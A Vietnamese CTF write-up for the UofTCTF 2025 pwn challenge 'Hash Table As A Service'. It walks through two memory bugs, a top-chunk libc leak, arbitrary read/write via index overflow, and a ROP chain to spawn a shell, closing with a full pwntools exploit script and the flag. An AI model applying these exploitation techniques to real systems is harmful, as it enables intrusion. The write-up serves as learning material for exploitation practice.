---
# System prepended metadata

title: '[Writeup] UOFTCTF 2025 - Hash Table As A Service'
tags: [pwn]

---

# Overview
![image](https://hackmd.io/_uploads/r17XEf9Pyl.png)
Bài đơn giản là cho mình tạo, đọc, sửa HashTable, trong đó, họ xử lý hash collision bằng linear probing.
Các struct:
```clike!
struct HashTable // sizeof=0x10
{            
    __int64 size;
    Item *pointer;
};

struct Item // sizeof=0xC
{
    int key;
    char val[8];
};
```


# Environment & script setup
Làm theo ở [đây](https://hackmd.io/@blackpwner/S11lMQGwye).

`Dockerfile`:
Vì là redpwn jail nên tạo lại image mới:
```dockerfile=
FROM ubuntu@sha256:80dd3c3b9c6cecb9f1667e9290b3bc61b78c2678c02cbdae5f0fea92cc6734ab

RUN mkdir -p /challenge
RUN apt update && apt install -y gdb gdbserver socat
WORKDIR /challenge
COPY chall .
COPY flag.txt .
RUN chmod +x ./chall
RUN chmod 0444 ./flag.txt

CMD socat TCP-LISTEN:5000,reuseaddr,fork EXEC:"./chall"
```

# Bugs
Có 2 bug đáng chú ý:
* Không check index của HashTable ở option set và get
* OOB khi linear probing ở hàm getHashTable ==> có thể overflow mảng Item[] của một HashTable:
```clike
Item *__fastcall getHashTable(HashTable *a1, int key)
{
  unsigned __int64 idx; // [rsp+10h] [rbp-10h]
  Item *pointer; // [rsp+18h] [rbp-8h]

  idx = (unsigned __int64)key % a1->size;
  pointer = a1->pointer;
  while ( key != pointer[idx].key && memcmp(&empty, &pointer[idx], 12uLL) )
    ++idx; // đáng lẽ nên là idx = (idx + 1) % a1->size;
  return &pointer[idx];
}
```
# Libc leak
Tận dụng bug số 2 để sửa size top chunk và malloc một chunk lớn hơn => top chunk bị free vào unsorted bin.

```python=
newht(0, 4)

# fill hết cái hashTable đã, các key (i+1)*4 sau khi % 4 sẽ bị trùng index, nên bị đẩy từ từ lên

for i in range(4):
    set(0, (i+1)*4, str(i+1).encode())

# sửa top chunk size, mình không biết chọn size sao luôn á, crash hoài
# ngồi debug tới đoạn này thấy nó là 0x20d31 nên lấy đại 
set(0, 0, p32(0) + p32(0xd31))

newht(1, 350)
# now have a chunk in unsorted bin

set(0, 0, p64(0))
# làm nó thỏa mãn memcmp(&empty, &v4[v3], 12) == 0

set(0, 1, p32(0) + p32(0xd11))
# đổi key để cho lần get tiếp theo, index 0 trả về Item chứa libc address

get(0, 0)
libc.address = u64(p.recv(6) + b'\0\0') - 0x203b20
success(f'{hex(libc.address) = }')
```
Đoạn bị crash:
```!
Fatal glibc error: malloc.c:2599 (sysmalloc): assertion failed: (old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)
```
Edit:
Sau một lúc thì mình đã tìm được lý do.
Assert đó ở đoạn này:
https://elixir.bootlin.com/glibc/glibc-2.39.9000/source/malloc/malloc.c#L2599
![image](https://hackmd.io/_uploads/BkvCL45wyx.png)
Ta thấy chỉ có vế thứ hai của phép `||` có thể thỏa được, do old_size != 0.
Nó có 3 điều kiện:
* `((unsigned long) (old_size) >= MINSIZE`, được, tại `MINSIZE = 0x20`
* `prev_inuse (old_top)`: cái này dễ, chỉ cần cho LS Bit = 1
* `((unsigned long) old_end & (pagesize - 1)) == 0`: có mỗi điều kiện này sú thôi.

Ta có:
```
pagesize - 1 = 0x1000 - 1 = 0xfff
old_top = 0x60b2fbd852d0
old_size = 0xd30
old_end = (unsigned long long)old_top + (unsigned long long)old_size
```
Nếu size bằng 0xd30 thì ok, bằng 0xc30 thì không thỏa:
Hèn gì mà thử hoài không được :v
Lần sau chỉ cần viết script tìm kiếm là ok:
```python=
old_top = 0x60b2fbd852d0
for old_size in range(0x20, 0x1000, 0x10):
    if (old_top + old_size) & (0x1000-1) == 0:
        print(f'{hex(old_size) = }')
```
Qua khúc assert thì sẽ tới kiểm tra vài điều kiện phía dưới, rồi cuối cùng là free top chunk. Với size 0xd30 đó thì nó không vào tcache hay fastbin được => vô unsorted bin.
https://elixir.bootlin.com/glibc/glibc-2.39.9000/source/malloc/malloc.c#L2647

Sau đó vẫn tiếp tục tận dụng bug số 2 để đọc địa chỉ libc liền sau cái hashTable đó:
![image](https://hackmd.io/_uploads/rkKpnGcDJx.png)

# Leveraging index OOB to achieve arbitrary* read & write
![image](https://hackmd.io/_uploads/ryaj6G5wye.png)
Nếu như bằng một cách nào đó, mình có thể thay đổi mấy cái địa chỉ này tùy ý, thì chắc chắn mình có thể read & write mọi nơi.

Ta sẽ nghĩ là tìm một hash table có index ngoài vùng [0, 19] có `pointer` trỏ đâu đó gần vùng hashTables này, rồi chọn option set.

Vấn đề là tìm thế nào? Ta cần một ô nhớ trong vùng đó chứa một địa chỉ trong vùng đó.

Trong pwndbg có lệnh rất hay là `leak`
Đầu tiên ta check map:
![image](https://hackmd.io/_uploads/rJUEk75wJx.png)
Lệnh sẽ dùng là:
`leak -d 1 -o <cuối>-<đầu> -p /challenge/chall <đầu>`
Ta sẽ tìm ở vùng màu tím và vùng trắng phía trước nó nha
```
leak -d 1 -o 0x59d64f173000-0x59d64f171000 -p /challenge/chall 0x59d64f171000
```
Kết quả:
![image](https://hackmd.io/_uploads/SkcggQcwJx.png)
Giờ ta lọc ra từng cái, ta cần trước con trỏ ấy có field size không quá nhỏ.
Trong hình trên, cái thứ hai có vẻ ok, do size của nó sẽ là một địa khác, đủ lớn.
Giờ ta xem nó sẽ edit được chỗ nào trong cái mảng `hashTables`.
Thôi thì viết tạm cái script python để tìm:
```python=
addr_to_use = 0x59d64f16f220
hashTables_addr = 0x59d64f172040

for i in range(20):
    if (hashTables_addr + 4 + i * 16 - addr_to_use) % 12 == 0:
        print('i =', i, '\nsize =', (hashTables_addr + 4 + i * 16 - addr_to_use) / 12)
```
Kết quả như sau, cũng khá nhiều lựa chọn:
```
i = 2
size = 987.0
i = 5
size = 991.0
i = 8
size = 995.0
i = 11
size = 999.0
i = 14
size = 1003.0
i = 17
size = 1007.0
```
Mình sẽ chọn số 2.

Lười viết tiếp quá =))
Nói chung là muốn đọc hay viết vào chỗ nào đó thì cần phải biết giá trị 4 byte trước, do nó là key.
```python=
def arbitrary_read(target: int, pre4: int):
    set(-45, 987, p64(target-4-pre4*12))
    get(2, pre4)

def arbitrary_write(target: int, pre4: int, value: bytes):
    set(-45, 987, p64(target-4-pre4*12))
    set(2, pre4, value)
```
Số `-45` tìm được bằng `(<địa chỉ chứa addr_to_use> - 8 - <hashTables_addr>)/16`, số `2` với số `987` thì tìm như phía trên.
# Leak environ & ROP
May mắn, trước environ là giá trị 0:
![image](https://hackmd.io/_uploads/B1UZoX9Dkx.png)
Nên leak environ khá dễ, rồi từ đó cộng trừ tìm được rbp, saved rbp:
```python=
amp_environ = libc.address + 0x20ad58
arbitrary_read(amp_environ, 0)

environ = u64(p.recv(6) + b'\0\0')
success(f'{hex(environ) = }')

current_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b900
current_saved_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b9a0
```
Còn lại là ROP và dùng `arbitrary_write` để viết thôi:
```python=
pop_rdi = libc.address + 0x000000000010f75b
ret = pop_rdi + 1
binsh = libc.address + 0x00000000001cb42f
ropchain = [ret, pop_rdi, binsh, libc.sym.system]

previous_position_value = current_saved_rbp
current_position = current_rbp + 8

for value in ropchain:
    arbitrary_write(current_position, previous_position_value >> 32, p64(value))
    previous_position_value = value
    current_position += 8
```

# Full script
```python=
#!python3
#!python3

from pwn import *

exe = ELF("./chall")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

context.terminal = ['alacritty', '-e', 'bash', '-c']

remote_connection = "nc addr 5000".split()
local_port = 5000

localscript = f'''
file {context.binary.path}

define rerun
!docker exec -u root -i debug_container bash -c "kill -9 \\$(pidof gdbserver) &"
!docker exec -u root -i debug_container bash -c "gdbserver :9090 --attach \\$(pidof chall) &"
end

define con
target remote :9090
end
'''

gdbscript = '''
# put your gdb script here
# malloc
brva 0x12D8

# read
brva 0x167E

# printf
brva 0x1746
'''

def start():
    if args.REMOTE:
        return remote(remote_connection[1], int(remote_connection[2]))
    elif args.LOCAL:
        return remote("localhost", local_port)
    elif args.GDB:
        return gdb.debug([exe.path], gdbscript=gdbscript)
    else:
        return process([exe.path])

def GDB():
    if not args.LOCAL and not args.REMOTE:
        gdb.attach(p, gdbscript=gdbscript)
        pause()
    if args.LOCAL:
        gdbserver = process("docker exec -u root -i debug_container bash -c".split()+  [f"gdbserver :9090 --attach $(pidof chall) &"])
        pid = gdb.attach(('0.0.0.0', 9090), exe=f'{context.binary.path}', gdbscript=localscript+gdbscript)
        pause()


p = start()
info = lambda msg: log.info(msg)
success = lambda msg: log.success(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sna = lambda msg, data: p.sendlineafter(msg, str(data).encode())
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
sn = lambda data: p.sendline(str(data).encode())
s = lambda data: p.send(data)
ru = lambda msg: p.recvuntil(msg)

def choice(num):
    sna(b'>', num)

def newht(idx, size):
    assert 0 <= idx and idx <= 19, "Index out of bound!"
    choice(1)
    sna(b'Index: ', idx)
    sna(b'Size: ', size)

def set(idx, key, value):
    choice(2)
    sna(b'Index: ', idx)
    sna(b'Key: ', key)
    sa(b'Value: ', value)

def get(idx, key):
    choice(3)
    sna(b'Index: ', idx)
    sna(b'Key: ', key)
    ru(b'Value: ')

def exitt():
    choice(4)

# STEP 1: LEAK LIBC
newht(0, 4)

for i in range(4):
    set(0, (i+1)*4, str(i+1).encode())

set(0, 0, p32(0) + p32(0xd31))

newht(1, 350)
# now have a chunk in unsorted bin

set(0, 0, p64(0))
# làm nó thỏa mãn memcmp(&empty, &v4[v3], 12) == 0

set(0, 1, p32(0) + p32(0xd11))

get(0, 0)
libc.address = u64(p.recv(6) + b'\0\0') - 0x203b20
success(f'{hex(libc.address) = }')

# STEP 2: LEAK ENVIRON
def arbitrary_read(target: int, pre4: int):
    set(-45, 987, p64(target-4-pre4*12))
    get(2, pre4)

def arbitrary_write(target: int, pre4: int, value: bytes):
    set(-45, 987, p64(target-4-pre4*12))
    set(2, pre4, value)

amp_environ = libc.address + 0x20ad58
arbitrary_read(amp_environ, 0)

environ = u64(p.recv(6) + b'\0\0')
success(f'{hex(environ) = }')

# STEP 3: ROP
current_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b900
current_saved_rbp = environ - 0x7ffd4f04ba38 + 0x7ffd4f04b9a0

pop_rdi = libc.address + 0x000000000010f75b
ret = pop_rdi + 1
binsh = libc.address + 0x00000000001cb42f
ropchain = [ret, pop_rdi, binsh, libc.sym.system]

previous_position_value = current_saved_rbp
current_position = current_rbp + 8

for value in ropchain:
    arbitrary_write(current_position, previous_position_value >> 32, p64(value))
    previous_position_value = value
    current_position += 8
success('Done writing ROP-chain!')

exitt()
success('Done getting shell!')

p.interactive()

'''
uoftctf{7hx_df53c_f0r_5p0n50r1n6_7h15_c7f}
'''
```

# Flag
`uoftctf{7hx_df53c_f0r_5p0n50r1n6_7h15_c7f}`

# Vài lời
Challenge có 15 đội giải được và trong đó không có blackpinker :v 
Trong quá trình giải có cách command `leak` đó hơi mới.
Nói chung là bài này không khó nhưng vẫn hay.